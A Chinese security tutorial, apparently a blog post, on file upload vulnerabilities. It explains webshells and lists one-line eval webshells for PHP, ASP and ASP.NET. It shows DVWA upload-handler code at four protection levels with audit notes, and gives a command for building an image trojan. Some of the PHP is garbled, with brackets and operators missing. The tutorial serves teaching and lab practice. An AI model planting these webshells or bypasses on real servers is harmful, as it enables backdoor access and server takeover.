文件系统安全

 

目录

 

文件上传漏洞概述:

漏洞的成因:

危害;

Webshell 解析命令解析器

小马

三大基本功能:

大马

Getshell

文件上传漏洞攻防

类型:

文件上传漏洞的利用


文件上传漏洞概述:

文件上传是Web应用必备功能之一。

服务器配置不当或者没有足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件,exe程序等等,这就造成了文件上传漏洞。

漏洞的成因:

1.服务器配置不当

2.Web应用开放了文件上传功能。没有对上传的文件做足够的限制和过滤。

3.在程序开发部署时,没有考虑到系统的特性或组件的漏洞,从而导致限制被绕过。

 

危害;

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。

直接上传后门文件,导致网站沦陷

通过恶意文件,利用其他漏洞那到管理员权限(提权),导致服务器沦陷。

 

通过文件上传漏洞获得的网站后门,叫Webshell 。

 

Webshell 解析命令解析器

是一个网站的后门,也是一个命令解释器。

通过Web方式(HTTP协议)传递命令消息到服务器,并继承了Web用户的权限,在服务端执行命令。

Webshell从本质上讲,就是服务端可运行的脚本文件,后缀名通常为

. php

.asp

.jsp

....

Webshell接收来自于Web用户的命令,然后在服务端执行。

小马

一句话木马,需要与中国菜刀配合

特点:

短小精悍

功能强大。

例:

目前支持的服务端脚本:PHP, ASP, ASP.NET,并且支持https安全连接的网站。

  在服务端运行的代码如下:

  PHP:    <?php @eval($_POST['pass']);?>

  ASP:    <%eval request("pass")%>

  ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

       (注意: ASP.NET要单独一个文件或此文件也是Jscript语言)

三大基本功能:

文件管理

虚拟终端

数据库管理

 

注: 蚁剑安装

在C盘建立一个英文文件。

 

大马

代码量比较大,与小马对比。

注意:

Asp 大马上传到phpstudy中是否可以运行。

看我们服务器端是否有能够解释执行的环境。

Getshell

GETShell是获取WebShell的过程或结果。

文件上传漏洞的利用是GETShell的主要方式,但不是唯一手段。

 

 

文件上传漏洞攻防

黑白名单策略

是最常用,也是最重要的安全策略之一。

黑白名单策略类似于一个列表,列表中写了一些条件或者规则。

黑名单就是非法条件,白名单就是合法条件。

 

例:黑名单

类型:

1.毫无防护

 对文件上传没有做任何过滤

 任意文件上传

<?php

 

if( isset( $_POST[ 'Upload' ] ) ) {

    // Where are we going to be writing to?

    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

 

    // Can we move the file to the upload folder?

    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {

        // No

        echo '<pre>Your image was not uploaded.</pre>';

    }

    else {

        // Yes!

        echo "<pre>{$target_path} succesfully uploaded!</pre>";

    }

}

 

?>

 

 

2.文件类型检测

<?php

 

if( isset( $_POST[ 'Upload' ] ) ) {

    // Where are we going to be writing to?

    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

 

    // File information

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];

    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];

    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

 

    // Is it an image?

    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&

        ( $uploaded_size < 100000 ) ) {

 

        // Can we move the file to the upload folder?

        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {

            // No

            echo '<pre>Your image was not uploaded.</pre>';

        }

        else {

            // Yes!

            echo "<pre>{$target_path} succesfully uploaded!</pre>";

        }

    }

    else {

        // Invalid file

        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';

    }

}

 

?>

 

代码审计: 上传的文件没有重命名

                    Content-TYPe         类型白名单判断

                    Content-Type         类型客户端可控

                    可以利用 Burp Suite  抓包、改包

 

 

3.文件后缀名和文件内容检测

<?php 

if( isset( $_POST'Upload' ] ) ) { 
    
// Where are we going to be writing to? 
    
$target_path  DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/"
    
$target_path .= basename$_FILES'uploaded' ][ 'name' ] ); 

    
// File information 
    
$uploaded_name $_FILES'uploaded' ][ 'name' ]; 
    
$uploaded_ext  substr$uploaded_namestrrpos$uploaded_name'.' ) + 1); 
    
$uploaded_size $_FILES'uploaded' ][ 'size' ]; 
    
$uploaded_tmp  $_FILES'uploaded' ][ 'tmp_name' ]; 

    
// Is it an image? 
    
if( ( strtolower$uploaded_ext ) == "jpg" || strtolower$uploaded_ext ) == "jpeg" || strtolower$uploaded_ext ) == "png" ) &&
        ( 
$uploaded_size 100000 ) && 
        
getimagesize$uploaded_tmp ) ) { 

        
// Can we move the file to the upload folder? 
        
if( !move_uploaded_file$uploaded_tmp$target_path ) ) { 
            
// No 
            
echo '<pre>Your image was not uploaded.</pre>'
        } 
        else { 
            
// Yes! 
            
echo "<pre>{$target_path} succesfully uploaded!</pre>"
        } 
    } 
    else { 
        
// Invalid file 
        
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'
    } 


?> 



 

 

 

 

4.代码审计:上传文件没有重命名

文件后缀名白名单检测

使用getimagesize函数进行文件内容检测,只检测文件头部。

图片muma:

需要其他漏洞配合


 

5.完全防御

<?php 

if( isset( $_POST'Upload' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken$_REQUEST'user_token' ], $_SESSION'session_token' ], 'index.php' ); 


    // File information 
    $uploaded_name $_FILES'uploaded' ][ 'name' ]; 
    $uploaded_ext  substr$uploaded_namestrrpos$uploaded_name'.' ) + 1); 
    $uploaded_size $_FILES'uploaded' ][ 'size' ]; 
    $uploaded_type $_FILES'uploaded' ][ 'type' ]; 
    $uploaded_tmp  $_FILES'uploaded' ][ 'tmp_name' ]; 

    // Where are we going to be writing to? 
    $target_path   DVWA_WEB_PAGE_TO_ROOT 'hackable/uploads/'
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 
    $target_file   =  md5uniqid() . $uploaded_name ) . '.' $uploaded_ext
    $temp_file     = ( ( ini_get'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get'upload_tmp_dir' ) ) ); 
    $temp_file    .= DIRECTORY_SEPARATOR md5uniqid() . $uploaded_name ) . '.' $uploaded_ext

    // Is it an image? 
    if( ( strtolower$uploaded_ext ) == 'jpg' || strtolower$uploaded_ext ) == 'jpeg' || strtolower$uploaded_ext ) == 'png' ) &&
        ( $uploaded_size 100000 ) && 
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 
        getimagesize$uploaded_tmp ) ) { 

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
        if( $uploaded_type == 'image/jpeg' ) { 
            $img imagecreatefromjpeg$uploaded_tmp ); 
            imagejpeg$img$temp_file100); 
        } 
        else { 
            $img imagecreatefrompng$uploaded_tmp ); 
            imagepng$img$temp_file9); 
        } 
        imagedestroy$img ); 

        // Can we move the file to the web root from the temp folder? 
        if( rename$temp_file, ( getcwd() . DIRECTORY_SEPARATOR $target_path $target_file ) ) ) { 
            // Yes! 
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"
        } 
        else { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'
        } 

        // Delete any temp files 
        if( file_exists$temp_file ) ) 
            unlink$temp_file ); 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'
    } 


// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

 

代码审计:检测Token值,防止数据包重放

文件重命名

文件后缀名白名单检测

Content-Type 类型白名单检测

文件内容头部检测

二次渲染,生成新文件

删除缓存文件

 

文件上传漏洞的利用

前提条件:

Web 服务器开启文件上传功能,Web用户可以使用该功能

Web用户(www-data |apsche)对目标目录具有可写权限,甚至具有执行权限。

一般情况下,Web 目录都有执行权限。

“完美利用”意味着文件可以执行,也就是说代码可以被服务器解析。

服务器开启了PUT方法。

 

GetShell的一些影响因素;

以upload-labs来探讨相关问题。

名字

类型

内容

后缀名

图片muma制作:

直接合成

16进制编辑器把图片打开 文件头部复制 前两行。

Copy imgName/b+yjh/a  newImgName

图⽚⽊⻢没有办法直接利⽤,需要配合其他漏洞。但是需要知道的是,图⽚⽊⻢中包含了恶意代码。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值